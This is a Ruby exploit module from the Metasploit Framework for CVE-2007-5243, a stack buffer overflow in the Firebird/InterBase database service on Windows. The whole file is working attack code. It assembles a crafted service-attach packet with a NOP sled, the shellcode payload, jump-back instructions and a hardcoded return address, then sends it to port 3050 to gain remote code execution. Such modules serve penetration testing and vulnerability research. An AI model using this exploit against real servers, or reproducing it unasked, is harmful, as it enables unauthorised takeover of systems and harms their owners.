## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::BruteTargets def initialize(info = {}) super(update_info(info, 'Name' => 'Firebird Relational Database SVC_attach() Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Borland InterBase by sending a specially crafted service attach request. }, 'Version' => '$Revision$', 'Author' => [ 'ramon', 'Adriano Lima ', ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'References' => [ [ 'CVE', '2007-5243' ], [ 'OSVDB', '38605' ], [ 'BID', '25917' ], [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ], ], 'Privileged' => true, 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 256, 'BadChars' => "\x00\x2f\x3a\x40\x5c", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Brute Force', { } ], # 0x0040230b pop ebp; pop ebx; ret [ 'Firebird WI-V1.5.3.4870 WI-V1.5.4.4910', { 'Length' => [ 308 ], 'Ret' => 0x0040230b } ], # Debug [ 'Debug', { 'Length' => [ 308 ], 'Ret' => 0xaabbccdd } ], ], 'DefaultTarget' => 1 )) register_options( [ Opt::RPORT(3050) ], self.class ) end def exploit_target(target) target['Length'].each do |length| connect # Attach database op_attach = 19 # Create database op_create = 20 # Service attach op_service_attach = 82 remainder = length.remainder(4) padding = 0 if remainder > 0 padding = (4 - remainder) end buf = '' # Operation/packet type buf << [op_service_attach].pack('N') # Id buf << [0].pack('N') # Length buf << [length].pack('N') # Nop block buf << make_nops(length - payload.encoded.length - 13) # Payload buf << payload.encoded # Jump back into the nop block buf << "\xe9" + [-260].pack('V') # Jump back buf << "\xeb" + [-7].pack('c') # Random alpha data buf << rand_text_alpha(2) # Target buf << [target.ret].pack('V') # Padding buf << "\x00" * padding # Database parameter block # Length buf << [1024].pack('N') # Random alpha data buf << rand_text_alpha(1024) sock.put(buf) #sleep(4) handler end end end